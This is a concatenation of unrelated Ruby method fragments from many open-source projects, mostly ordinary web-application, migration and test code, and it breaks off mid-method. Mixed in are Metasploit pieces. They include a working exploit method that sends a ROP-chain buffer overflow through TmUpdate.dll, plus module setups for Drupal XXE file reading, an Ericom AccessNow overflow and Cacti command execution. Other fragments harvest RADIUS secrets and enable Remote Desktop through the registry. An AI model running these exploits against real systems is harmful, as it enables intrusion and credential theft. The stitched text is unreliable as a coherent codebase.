      importable.is_a?(::Group) || importable.is_a?(::Project)
    end


def preview_url
    if object.needs_redownload? || object.discarded?
      media_proxy_url(object.id, :small)
    elsif object.thumbnail.present?
      full_asset_url(object.thumbnail.url(:original))
    elsif object.file.styles.key?(:small)
      full_asset_url(object.file.url(:small))
    end
  end


def initialize(info = {})
    super(update_info(info,
      'Stance' => Msf::Exploit::Stance::Passive))

    register_options(
      [
        OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),
        OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 8080 ]),

      ], Msf::Exploit::Remote::SocketServer
    )

    register_advanced_options(
      [
        OptAddress.new('ListenerBindAddress', [ false, 'The specific IP address to bind to if different from SRVHOST']),
        OptPort.new('ListenerBindPort', [false, 'The port to bind to if different from SRVPORT']),
        OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service'])
      ], Msf::Exploit::Remote::SocketServer
    )
  end


def publish_project_deleted_event_for(project)
      event = Projects::ProjectDeletedEvent.new(data: {
        project_id: project.id,
        namespace_id: project.namespace_id,
        root_namespace_id: project.root_namespace.id
      })

      Gitlab::EventStore.publish(event)
    end


def test_config_sanity
    assert_equal 'utf-8', report[:config].rails[:encoding].value
  end


def verify
    verify_knapsack_report
    verify_flaky_report
    verify_fast_quarantine
    puts 'OK'
  end


def verify_select_values!(relations)
        return if relations.empty?

        all_select_values = relations.map do |relation|
          if relation.respond_to?(:select_values)
            relation.select_values
          else
            relation.projections # Handle Arel based subqueries
          end
        end

        return if all_select_values.map(&:size).uniq.one?

        relation_select_sizes = all_select_values.map.with_index do |select_values, index|
          if select_values.empty?
            "Relation ##{index}: *, all columns"
          else
            "Relation ##{index}: #{select_values.size} select values"
          end
        end

        exception_text = <<~MESSAGE
        Relations with uneven select values were passed. The UNION query could break when the underlying table changes (add or remove columns).

        #{relation_select_sizes.join("\n")}
        MESSAGE

        raise(exception_text)
      end


def on_class(node)
          return unless node.loc.name.source.include?('B')

          add_offense(node.loc.name, message: 'B to C') do |corrector|
            autocorrect(corrector, node)
          end
        end


def process_radiusprofile(lines, credential_data)
        lines.each do |line|
          line['auth_servers'].each do |server|
            report_service(
              host: server['ip'],
              port: server['port'],
              name: 'radius',
              proto: 'udp'
            )
            next unless server['x_secret'] # no need to output if the secret is blank, therefore its not configured

            print_good("Radius server: #{server['ip']}:#{server['port']} with secret '#{server['x_secret']}'")
            next unless framework.db.active

            cred = credential_data.dup
            cred[:username] = ''
            cred[:private_data] = server['x_secret']
            cred[:address] = server['ip']
            cred[:port] = server['port']
            create_credential_and_login(cred)
          end
        end
      end


def option_values(variant)
      variant.option_values.map do |option_value|
        {
          id: option_value.id,
          name: option_value.name,
          presentation: option_value.presentation,
        }
      end
    end


def initialize(shutdown_timeout_seconds, sleep_time_seconds)
            @shutdown_timeout_seconds = shutdown_timeout_seconds
            @sleep_time_seconds = sleep_time_seconds
            @alive = true
          end


def default_options(o={})
        @default_options ||= {}
        @default_options.merge!(o)
        @default_options
      end


def reminder_at_ics_end
    object.reminder_at_ics(offset: 1.hour)
  end


def unsilence?
    role.can?(:manage_users)
  end


def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
    set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
    to_win64pe_dll(framework, code, opts)
  end


def fasp_follow_recommendations_for(account)
    Fasp::FollowRecommendation.for_account(account).newest_first.select(:recommended_account_id)
  end


def exploit
    # TmUpdate.dll
    rop_chain = [
      0x668074d4,	# POP EDX # OR AL,0F6 # RETN
      0x3FCD0FFC,	# Put 00001000 into edx
      0x667611b2,	# ADD EDX,C0330004 # RETN 04
      0x667c99e7,	# POP EBP # RETN [TmUpdate.dll]
      junk,
      0x667c99e7,	# skip 4 bytes [TmUpdate.dll]
      0x667e3250,	# POP EBX # RETN [TmUpdate.dll]
      0xffffffff,	# NEG EBX
      0x6683ab64,	# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
      0x6683ab64,	# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
      0x6680a1d3,	# POP EAX # RETN [TmUpdate.dll]
      0xffffffc0,	# Value to negate, will become 0x00000040
      0x66812b53,	# NEG EAX # RETN [TmUpdate.dll]
      0x667f030a,	# MOV ECX,EAX # RETN [TmUpdate.dll]
      0x667d4c7c,	# POP EDI # RETN [TmUpdate.dll]
      0x667e8003,	# RETN (ROP NOP) [TmUpdate.dll]
      0x667d54d0,	# POP ESI # RETN [TmUpdate.dll]
      0x667baf06,	# JMP [EAX] [TmUpdate.dll]
      0x66833376,	# POP EAX # RETN [TmUpdate.dll]
      0x6686115c,	# ptr to &VirtualAlloc() [IAT TmUpdate.dll]
      0x6681ceb3,	# PUSHAD # RETN [TmUpdate.dll]
      0x668382c3,	# ptr to 'call esp' [TmUpdate.dll]
    ].pack('V*')
    # rop chain generated by mona.py

    header = "\x00\x00"
    header << "\x13\x88"          # size of buffer
    header << rand_text_alpha(9)
    header << "\x15\x09\x13"      # opcode
    header << "\x00\x00\x00"
    header << rand_text_alpha(25)
    header << "\xFE\xFF\xFF\xFF"  # in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword
    header << "\xFF\xFF\xFF\xFF"  # after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved
    header << "\xFF\xFF\xF4\xFF"  # and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads
    header << "\xFF\xFF"          # us to our vulnerable function
    header << rand_text_alpha(1)  # align stack again for rop

    pay = rop_chain
    pay << make_nops(374 - rop_chain.length)
    pay << "\xeb\x04" # Short jmp 0x04
    pay << [target.ret].pack('V')
    pay << payload.encoded

    sploit = header
    sploit << pay

    filler = rand_text_alpha(target['Offset'] - (sploit.length))

    connect
    print_status("Sending request...")
    sock.put(sploit + filler)
    handler
    disconnect
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Drupal OpenID External Entity Injection',
        'Description' => %q{
          This module abuses an XML External Entity Injection
          vulnerability on the OpenID module from Drupal. The vulnerability exists
          in the parsing of a malformed XRDS file coming from a malicious OpenID
          endpoint. This module has been tested successfully on Drupal 7.15 and
          7.2 with the OpenID module enabled.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Reginaldo Silva', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-4554' ],
          [ 'OSVDB', '86429' ],
          [ 'BID', '56103' ],
          [ 'URL', 'https://drupal.org/node/1815912' ],
          [ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ],
          [ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
        ],
        'DisclosureDate' => '2012-10-17',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
      ]
    )
  end


def relate_issue(issue)
            click_element('crud-form-toggle')
            fill_element('add-issue-field', issue.web_url)
            send_keys_to_element('add-issue-field', :enter)
          end


def track_runner_events(runner)
        kwargs = { user: user }

        case runner.runner_type
        when 'group_type'
          kwargs[:namespace] = @scope
        when 'project_type'
          kwargs[:project] = @scope
        end

        track_internal_event(
          'create_ci_runner',
          **kwargs,
          additional_properties: {
            label: runner.runner_type,
            property: 'authenticated_user'
          }
        )

        return if params[:maintenance_note].blank?

        track_internal_event(
          'set_runner_maintenance_note',
          **kwargs,
          additional_properties: {
            label: runner.runner_type
          }
        )
      end


def load_form_data
        @taxon_rules = Rails.application.config.spree.taxon_rules
        @rule_types = @taxon_rules.map do |taxon_rule|
          [Spree.t("admin.taxon_rules.#{taxon_rule.to_s.demodulize.underscore}"), taxon_rule.to_s]
        end

        @rule_match_policies = Spree::TaxonRule::MATCH_POLICIES.map do |policy|
          [Spree.t("admin.taxon_rules.match_policies.#{policy}"), policy]
        end
      end


def replace_text_placeholders(node)
        content = node.to_html
        placeholder = nil

        html_content =
          Gitlab::StringPlaceholderReplacer.replace_string_placeholders(content, PLACEHOLDERS_REGEX) do |arg|
            placeholder = arg if PLACEHOLDERS[arg]

            replace_placeholder_action(PLACEHOLDERS[arg])
          end

        if content != html_content
          node = node.replace(html_content).first
          node['data-placeholder'] = "%{#{placeholder}}" if placeholder
        end

        node
      end


def test_setting_session_id_to_nil_is_respected
    with_test_route_set do
      get "/set_session_value"
      get "/get_session_id"
      sid = response.body
      assert_equal 36, sid.size

      get "/change_session_id"
      assert_not_equal sid, response.body
    end
  end


def filename
        model.file_name
      end


def allowed_respools(_options = {})
    all_resource_pools = ResourcePool.where(:ems_id => get_source_and_targets[:ems].try(:id))
    filtered_targets   = process_filter(:rp_filter, ResourcePool, all_resource_pools)
    allowed_ci(:respool, [:cluster, :host, :folder], filtered_targets.collect(&:id))
  end


def add_ok_result_for_step(ok_result_for_step, ok_results_for_steps)
    result_type = :ok
    step_class, returned_message = parse_result_for_step(ok_result_for_step, result_type)

    ok_results_for_steps[step_class] = Gitlab::Fp::Result.ok(returned_message)
  end


def up
    execute "UPDATE site_settings SET name = 'moderators_manage_categories_and_groups' WHERE name = 'moderators_create_categories'"
    execute "UPDATE user_histories SET subject = 'moderators_manage_categories_and_groups' WHERE subject = 'moderators_create_categories'"
  end


def up
    like_reaction = DB.query_single(<<~SQL).first || "heart"
      SELECT value
      FROM site_settings
      WHERE name = 'discourse_reactions_reaction_for_like'
    SQL

    # the model does this gsub
    # https://github.com/discourse/discourse-reactions/blob/10505af498ae99b6acc704bff6eb072bbffc2ade/app/models/discourse_reactions/reaction.rb#L25
    like_reaction = like_reaction.gsub("-", "")

    # AR enum in the Reaction model
    emoji_reaction_type = 0

    inconsistent_reactions =
      DB.query(<<~SQL, like_reaction: like_reaction, emoji_reaction_type: emoji_reaction_type)
      SELECT id
      FROM discourse_reactions_reactions
      WHERE
        reaction_type = :emoji_reaction_type AND
        reaction_value = :like_reaction AND
        reaction_users_count IS NOT NULL
    SQL

    return if inconsistent_reactions.size == 0
    ids = inconsistent_reactions.map(&:id)

    DB.exec(<<~SQL, ids: ids)
      DELETE FROM discourse_reactions_reaction_users
      WHERE reaction_id IN (:ids)
    SQL

    DB.exec(<<~SQL, ids: ids)
      UPDATE discourse_reactions_reactions
      SET reaction_users_count = NULL
      WHERE id IN (:ids)
    SQL
  end


def updatable_reviewable_scores
    reviewable_scores.pending
  end


def index
    @merge_requests = @issuables

    respond_to do |format|
      format.html
      format.atom { render layout: 'xml' }
    end
  end


def can_assign_badge_to_user?(user)
    master_api_call = current_user.nil? && is_api?
    master_api_call || guardian.can_grant_badges?(user)
  end


def non_members
      @instance_cache[:non_members] ||= known_users - members
    end


def self.class_for_source(source_or_id)
    source = case source_or_id
             when ActiveRecord::Base then source_or_id
             else VmOrTemplate.find_by(:id => source_or_id)
             end
    return nil if source.nil?

    source.class.manager_class.provision_workflow_class
  end


def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array
    comments = Comment.all.merge!(includes: :post, where: ["post_id = ?", 4], limit: 3, offset: 1, order: "comments.id").to_a
    assert_equal 3, comments.length
    assert_equal [6, 7, 8], comments.collect(&:id)
  end


def max_length
        cop_config['Max']
      end


def over_limit?
      return false unless @limit

      @limit > 0 && @total >= @limit
    end


def flush
    output.flush(msg) if (output)
  end


def sync_config
    Multiwoven::Integrations::Protocol::SyncConfig.from_json(
      sync_config_json.to_json
    )
  end


def print_operation_definition(op, indent: "")
          @in_operation = true
          print_string("#{indent}#{op.operation_type}")
          print_string(" #{op.name}") if op.name

          # Do these on a temp instance, so that we detect any skipped arguments
          # without actually printing the output to the current buffer
          temp_printer = self.class.new
          op.directives.each { |d| temp_printer.print(d) }
          op.selections.each { |s| temp_printer.print(s) }
          @skipped_arguments |= temp_printer.skipped_arguments
          @printed_arguments |= temp_printer.printed_arguments

          # remove variable definitions only used in skipped (client) fields
          vars = op.variables.reject do |v|
            @skipped_arguments.include?(v.name) && @printed_arguments.exclude?(v.name)
          end

          if vars.any?
            print_string("(")
            vars.each_with_index do |v, i|
              print_variable_definition(v)
              print_string(", ") if i < vars.size - 1
            end
            print_string(")")
          end

          print_directives(op.directives)
          print_selections(op.selections, indent: indent)
        ensure
          @in_operation = false
        end


def use_bulk_mail_delivery_settings
    return if bulk_mail_configuration&.dig(:smtp_settings, :address).blank?

    mail.delivery_method.settings = convert_smtp_settings(bulk_mail_configuration[:smtp_settings])
  end


def enablerd(cleanup_rc)
    key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
    value = 'fDenyTSConnections'
    begin
      v = registry_getvaldata(key, value)
      print_status 'Enabling Remote Desktop'
      if v == 1
        print_status "\tRDP is disabled; enabling it ..."
        registry_setvaldata(key, value, 0, 'REG_DWORD')
        file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
      else
        print_status "\tRDP is already enabled"
      end
    rescue StandardError => e
      print_status("The following error was encountered: #{e.class} #{e}")
    end
  end

reg setval -k 'HKLM\System\CurrentControlSet\Control\Terminal Server' -v 'fDenyTSConnections' -d "1"


def get_related_merge_requests(project_id, issue_iid, user = nil)
    get api("/projects/#{project_id}/issues/#{issue_iid}/related_merge_requests", user)
  end


def topic_count
      redis.zcard("topics:tid")
    end


def self.run(params)
        # Adding reject options back in  so gym has everything it needs
        params.available_options += Gym::Options.available_options.select do |option|
          REJECT_OPTIONS.include?(option.key)
        end

        # Defaulting to ios specific values
        params[:catalyst_platform] = "ios"

        super(params)
      end


def levenshtein_distance(s1, s2)
          m = s1.length
          n = s2.length
          d = Array.new(m + 1) { Array.new(n + 1, 0) }

          (0..m).each { |i| d[i][0] = i }
          (0..n).each { |j| d[0][j] = j }

          (1..m).each do |i|
            (1..n).each do |j|
              cost = s1[i - 1] == s2[j - 1] ? 0 : 1
              d[i][j] = [d[i - 1][j] + 1, d[i][j - 1] + 1, d[i - 1][j - 1] + cost].min
            end
          end

          d[m][n]
        end


def create_organization
    suffix = SecureRandom.base64
    organizations.create!(name: 'Organization', path: "organization-#{suffix}")
  end


def soft_limit_problem(model, allocation)
    override_data = {
      model_id: model.id,
      model_name: model.display_name,
      percentage_remaining: allocation.percentage_remaining.round,
      reset_date: format_reset_date(allocation.next_reset_at),
      url: "#{Discourse.base_path}/admin/plugins/discourse-ai/ai-llms",
    }

    problem(model, override_data:)
  end


def start_time
      if instantiated?
        link_to start_time_title, project_meeting_path(project, meeting)
      else
        start_time_title
      end
    end


def owned_by?(user)
    return false unless user

    non_invite_owner_members.exists?(user: user)
  end


def assignee_id
        return @assignee_id if defined?(@assignee_id)

        @assignee_id = assignee.try(:gitlab_id)
      end


def author_id_for(object, author_key: :author)
        user_info = case author_key
                    when :actor
                      object[:actor]
                    when :review_requester
                      object[:review_requester]
                    else
                      object ? object[:author] : nil
                    end

        # TODO when improved user mapping is released we can refactor everything below to just
        # user_id_for(user_info)
        id = user_id_for(user_info, ghost: true)

        if id
          [id, true]
        else
          [project.creator_id, false]
        end
      end


def if_conditional_branches(node, branches = [])
        return [] if node.nil? || !node.if_type?

        branches << node.if_branch

        else_branch = node.else_branch
        if_conditional_branches(else_branch, branches) if else_branch&.if_type?
        branches
      end


def cookies
        _mock_session.cookie_jar
      end


def remove_tmp
      # delete tmp inside backups
      logger.info "Deleting backups/tmp ... "

      FileUtils.rm_rf(backup_path.join('tmp'))
      logger.info "Deleting backups/tmp ... " + "done"
    end


def cmd_edit_help
    print_line('Edit a file on remote machine.')
    print_line("Usage: edit file")
    print_line
  end


def expect_hints(**field_hint_pairs)
        aggregate_failures("progress popover hints expectations") do
          field_hint_pairs.each do |field_name, hint|
            expect_hint(field_name, hint)
          end
        end
      end


def generate_response(input)
    @messages << { role: 'user', content: input } if input.present?
    response = request_chat_completion

    Rails.logger.debug { "#{self.class.name} Assistant: #{@assistant.id}, Received response #{response}" }
    Rails.logger.info(
      "#{self.class.name} Assistant: #{@assistant.id}, Incrementing response usage for account #{@account.id}"
    )
    @account.increment_response_usage

    response
  end


def self.compact_date(date)
    return "" unless date

    date < 1.day.ago ? date.strftime("%Y-%m-%d") : date.strftime("%H:%M:%S%Z")
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ericom AccessNow Server Buffer Overflow',
        'Description' => %q{
          This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
          vulnerability is due to an insecure usage of vsprintf with user controlled data,
          which can be triggered with a malformed HTTP request. This module has been tested
          successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
          Server SP2.
        },
        'Author' => [
          'Unknown', # Vulnerability Discovery
          'juan vazquez', # Metasploit Module
        ],
        'References' => [
          ['ZDI', '14-160'],
          ['CVE', '2014-3913'],
          ['BID', '67777'],
          ['URL', 'http://www.ericom.com/security-ERM-2014-610.asp']
        ],
        'Privileged' => true,
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Payload' => {
          'Space' => 4096,
          'BadChars' => "\x00\x0d\x0a",
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
        'Targets' => [
          [
            'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',
            {
              'RopOffset' => 62,
              'Offset' => 30668,
              'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll
            }
          ]
        ],
        'DisclosureDate' => '2014-06-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(8080)])
  end


def initialize
      @flipper_id = "FlipperPod:#{Socket.gethostname}".freeze
    end


def message
      winning_strategy && winning_strategy.message
    end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cacti graph_view.php Remote Command Execution',
        'Description' => %q{
          This module exploits an arbitrary command execution vulnerability in the
          Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to
          0.8.6-d are vulnerable.
        },
        'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-10004' ],
          [ 'OSVDB', '17539' ],
          [ 'BID', '14042' ],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 512,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl ruby python telnet',
                        }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2005-01-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
      ]
    )
  end


def repository_types(oid)
          types = lfs_json[oid]

          return [] unless types
          return [] unless types.is_a?(Array)

          # only return allowed repository types
          types.uniq & allowed_repository_types
        end


def attrs
        @attrs ||= Rails.cache.read(cache_key)
      end


def pcom_ascii_checksum(msg)
    (msg.each_byte.inject(:+) % 256).to_s(16).upcase.rjust(2, '0')
  end


def destroy
    note = @reviewable.reviewable_notes.find(params[:note_id])

    # Only allow the author or admin to delete notes
    raise Discourse::InvalidAccess unless note.user == current_user || current_user.admin?

    note.destroy!
    render json: success_json
  end


def check
    return CheckCode::Appears if execute_command(rand_str)

    CheckCode::Safe
  end


def relay
    @relay ||= Relay.find_by(follow_activity_id: object_uri) unless object_uri.nil?
  end


def test_db_dir_ignored_if_included_in_schema_dump
      Dir.mktmpdir do |dir|
        ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, dir) do
          updated_hash = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").configuration_hash.merge(schema_dump: "#{dir}/fake_db_config_schema.rb")
          db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("arunit", "primary", updated_hash)
          path = "#{dir}/fake_db_config_schema.rb"

          FileUtils.rm_rf(dir)
          assert_not File.file?(path)

          ActiveRecord::Base.connection_handler.stub(:establish_connection, nil) do
            ActiveRecord::SchemaDumper.stub(:dump, "") do # Do not actually dump for test performances
              ActiveRecord::Tasks::DatabaseTasks.dump_schema(db_config)
            end
          end

          assert File.file?(path)
        end
      end
    ensure
      ActiveRecord::Base.clear_cache!
    end


def highest_access_level
      @highest_access_level ||= @user.current_highest_access_level
    end


def fetch_admin_notice(params:)
    AdminNotice.find_by(id: params.id)
  end


def check_watchguard_firebox?
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'auth', 'login'),
      'vars_get' => {
        'from_page' => '/'
      }
    })
    return true if res && res.code == 200 && res.body.include?('Powered by WatchGuard Technologies') && res.body.include?('Firebox')

    false
  end


def test_query_cached_even_when_types_are_reset
    Task.cache do
      # Warm the cache
      Task.find(1)

      # Preload the type cache again (so we don't have those queries issued during our assertions)
      Task.lease_connection.send(:reload_type_map) if Task.lease_connection.respond_to?(:reload_type_map, true)

      # Clear places where type information is cached
      Task.reset_column_information
      Task.initialize_find_by_cache
      Task.define_attribute_methods

      assert_no_queries do
        Task.find(1)
      end
    end
  end


def cached_followed_tag_names
    cache_name = "user-#{id}-#{following_tags_count}-#{last_followed_at&.rfc3339}-x/followed_tag_names"
    Rails.cache.fetch(cache_name, expires_in: 24.hours) do
      Tag.followed_by(self).pluck(:name)
    end
  end


def destroy
      result = CommunityBots::DeleteBot.call(
        bot_user: @bot,
        deleted_by: current_user,
      )

      if result.success?
        flash[:success] = "Community bot deleted successfully!"
      else
        flash[:error] = result.error_message
      end

      redirect_to admin_subforem_community_bots_path(@bot.onboarding_subforem_id)
    end


def up
    execute "UPDATE users SET uploaded_avatar_id = NULL WHERE uploaded_avatar_id IN (
      SELECT system_upload_id FROM user_avatars
    )"

    # normally we dont reach into the object model, but we have to here.
    # otherwise we will wait a real long time for uploads to go away
    skip = -1
    while skip = destroy_system_avatar_batch(skip)
      puts "Destroyed up to id: #{skip}"
    end

    remove_column :user_avatars, :system_upload_id
    remove_column :user_avatars, :system_avatar_version
  end


def namespace?(node)
          return false unless node

          if node.begin_type?
            node.children.all? { |child| constant_declaration?(child) }
          else
            constant_definition?(node)
          end
        end


def change
    create_table :eulas do |t|
      t.integer :organization_id, null: false
      t.string :file_name
      t.integer :status, default: 0

      t.timestamps
    end
  end


def enterprise_token_plan_name(enterprise_token)
    plan = enterprise_token.plan.to_s
    I18n.t(plan, scope: [:enterprise_plans], default: plan.humanize)
  end


def get_valid_pid
    procs = get_processes
    return '1' if procs.empty?

    len = procs.length
    rand_proc = procs[rand(1...len)]
    return '1' if rand_proc['pid'].to_s.blank?

    rand_proc['pid'].to_s
  end


def sums_callable_joins(grouped)
    callable_summed_up_columns
      .map do |c|
        join_condition = if grouped
                           "#{c.name}.group_id = work_packages.group_id OR " \
                             "#{c.name}.group_id IS NULL AND work_packages.group_id IS NULL"
                         else
                           "TRUE"
                         end

        "LEFT OUTER JOIN (#{c.summable.(query, grouped).to_sql}) #{c.name} ON #{join_condition}"
      end
      .join(" ")
  end


def fabricate!
        Flow::Login.sign_in_unless_signed_in(user: Runtime::User::Store.admin_user)

        Page::Main::Menu.perform(&:go_to_admin_area)
        Page::Admin::Menu.perform(&:go_to_users_overview)
        Page::Admin::Overview::Users::Index.perform do |index|
          index.choose_search_user(user.username)
          index.click_search
          index.click_user(user.name)
        end

        Page::Admin::Overview::Users::Show.perform do |show|
          show.go_to_impersonation_tokens do |impersonation_tokens|
            impersonation_tokens.click_add_new_token_button
            impersonation_tokens.fill_token_name(name)
            impersonation_tokens.check_api
            impersonation_tokens.fill_expiry_date(expires_at)
            impersonation_tokens.click_create_token_button
            self.token = impersonation_tokens.created_access_token
          end
        end

        reload!
      end


def self.instance
      @instance ||= new(unsupported)
    end


def last_activity
    return unless registered == true

    [registered_at, last_comment_at, last_article_at, latest_article_updated_at, last_reacted_at, profile_updated_at,
     last_moderation_notification, last_notification_activity].compact.max
  end


def custom_message_id
    last_message = @message || @messages&.last

    "<conversation/#{@conversation.uuid}/messages/#{last_message&.id}@#{channel_email_domain}>"
  end


def call(env)
            target = env.target
            value  = env.value
            halted = env.halted

            if (!halted || !@halting) && user_conditions.all? { |c| c.call(target, value) }
              user_callback.call target, value
            end

            env
          end


def build_response(d)
        {
          'name' => d['name'],
          'total' => d['total'],
          'current' => d['current'],
          'type' => d['type'],
          'reset_interval' => d['reset_interval'],
          'last_reset_at' => EventTime.new(*d['last_reset_at']),
        }
      end


def initialize(attributes = {})
      if (!attributes.is_a?(Hash))
        fail ArgumentError, "The input argument (attributes) must be a hash in `ErrorTrackingOpenAPI::ErrorEvent` initialize method"
      end

      # check to see if the attribute exists and convert string to symbol for hash key
      attributes = attributes.each_with_object({}) { |(k, v), h|
        if (!self.class.attribute_map.key?(k.to_sym))
          fail ArgumentError, "`#{k}` is not a valid attribute in `ErrorTrackingOpenAPI::ErrorEvent`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
        end
        h[k.to_sym] = v
      }

      if attributes.key?(:'fingerprint')
        self.fingerprint = attributes[:'fingerprint']
      end

      if attributes.key?(:'project_id')
        self.project_id = attributes[:'project_id']
      end

      if attributes.key?(:'payload')
        self.payload = attributes[:'payload']
      end

      if attributes.key?(:'name')
        self.name = attributes[:'name']
      end

      if attributes.key?(:'description')
        self.description = attributes[:'description']
      end

      if attributes.key?(:'actor')
        self.actor = attributes[:'actor']
      end

      if attributes.key?(:'environment')
        self.environment = attributes[:'environment']
      end

      if attributes.key?(:'platform')
        self.platform = attributes[:'platform']
      end
    end


def project
            pipeline.project
          end


def worker_class
      WORK_TYPE.fetch(self.class.reactive_cache_work_type.to_sym)
    end


def set_attributes(_params)
      new_query = copied_query
      new_query.sort_criteria = source.sort_criteria if source.sort_criteria

      ::Queries::Copy::FiltersMapper
        .new(state)
        .map_query!(new_query)

      ServiceResult.new(success: new_query.valid?, result: new_query)
    end


def import_posts
    post_count =
      mysql_query(
        "SELECT COUNT(*) count FROM message2
                              WHERE id <> root_id",
      ).first[
        "count"
      ]

    puts "", "importing posts... (#{post_count})"

    batches(BATCH_SIZE) do |offset|
      posts = mysql_query <<-SQL
          SELECT id, body, deleted, user_id,
                 post_date, parent_id, root_id, node_id, unique_id, row_version
            FROM message2
        WHERE id <> root_id #{TEMP}
        ORDER BY node_id, root_id, id
           LIMIT #{BATCH_SIZE}
          OFFSET #{offset}
      SQL

      break if posts.size < 1

      if all_records_exist? :posts,
                            posts.map { |post|
                              "#{post["node_id"]} #{post["root_id"]} #{post["id"]}"
                            }
        next
      end

      create_posts(posts, total: post_count, offset: offset) do |post|
        raw = post["raw"]
        unless topic = topic_lookup_from_imported_post_id("#{post["node_id"]} #{post["root_id"]}")
          next
        end

        deleted_at = topic["deleted"] == 1 ? topic["row_version"] : nil
        raw = post["body"]

        if raw.present?
          new_post = {
            id: "#{post["node_id"]} #{post["root_id"]} #{post["id"]}",
            user_id: user_id_from_imported_user_id(post["user_id"]) || Discourse::SYSTEM_USER_ID,
            topic_id: topic[:topic_id],
            raw: raw,
            created_at: unix_time(post["post_date"]),
            deleted_at: deleted_at,
            custom_fields: {
              import_unique_id: post["unique_id"],
            },
            import_mode: true,
          }

          if parent =
               topic_lookup_from_imported_post_id(
                 "#{post["node_id"]} #{post["root_id"]} #{post["parent_id"]}",
               )
            new_post[:reply_to_post_number] = parent[:post_number]
          end

          new_post
        else
          PluginStoreRow.find_or_create_by(
            plugin_name: "post_import_log",
            key: post["unique_id"].to_s,
            value: "Post 'body' is empty",
            type_name: "String",
          )
          nil
        end
      end
    end
  end


def report_time_range
      raise _("Option 'interval_size' is required") if interval_size.nil?

      start_interval_offset = (end_interval_offset + interval_size - 1)

      ts = Time.now.in_time_zone(tz)
      case interval
      when 'daily'
        start_time = (ts - start_interval_offset.days).beginning_of_day
        end_time   = (ts - end_interval_offset.days).end_of_day
      when 'weekly'
        start_time = (ts - start_interval_offset.weeks).beginning_of_week
        end_time   = (ts - end_interval_offset.weeks).end_of_week
      when 'monthly'
        start_time = (ts - start_interval_offset.months).beginning_of_month
        end_time   = (ts - end_interval_offset.months).end_of_month
      else
        raise _("interval '%{interval}' is not supported") % {:interval => interval}
      end

      start_time..end_time
    end


def fill_element(name, content)
          masked_content = name.to_s.match?(/token|key|password/) ? '*****' : content

          log(%(filling :#{highlight_element(name)} with "#{masked_content}"), :info)

          log_slow_code(name) { super }
        end


def self.standard
    Discourse.cache.fetch(cache_key("standard_emojis")) { load_standard }
  end


def test_prev_weekday_on_sunday
    assert_equal date_time_init(2015, 1, 2, 0, 0, 0), date_time_init(2015, 1, 4, 0, 0, 0).prev_weekday
    assert_equal date_time_init(2015, 1, 2, 15, 15, 10), date_time_init(2015, 1, 4, 15, 15, 10).prev_weekday
  end


def get_value_from_key(node, key:)
            node.to_h[key].values.last
          end


def grouping_queries(queries)
        if queries.one?
          queries.first
        else
          queries.map! { |query| query.reduce(&:and) }
